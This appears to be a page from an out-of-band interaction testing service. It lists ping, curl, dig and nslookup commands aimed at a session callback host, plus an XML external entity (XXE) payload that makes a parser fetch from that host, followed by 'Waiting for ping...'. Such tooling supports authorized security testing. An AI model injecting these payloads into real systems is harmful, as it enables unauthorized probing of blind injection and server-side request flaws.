pingb.in

$ ping -c1 -p 00dcd36a10ab2d4aaa38c4679bb9fb00 oob.ctxl.zehuan.li

$ curl oob.ctxl.zehuan.li/p/dcd36a10ab2d4aaa38c4679bb9fb

$ dig dcd36a10ab2d4aaa38c4679bb9fb @oob.ctxl.zehuan.li

$ dig dcd36a10ab2d4aaa38c4679bb9fb.oob.ctxl.zehuan.li

C:\> nslookup dcd36a10ab2d4aaa38c4679bb9fb oob.ctxl.zehuan.li

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://oob.ctxl.zehuan.li/p/dcd36a10ab2d4aaa38c4679bb9fb">]>
    <foo>&xxe;</foo>

Waiting for ping...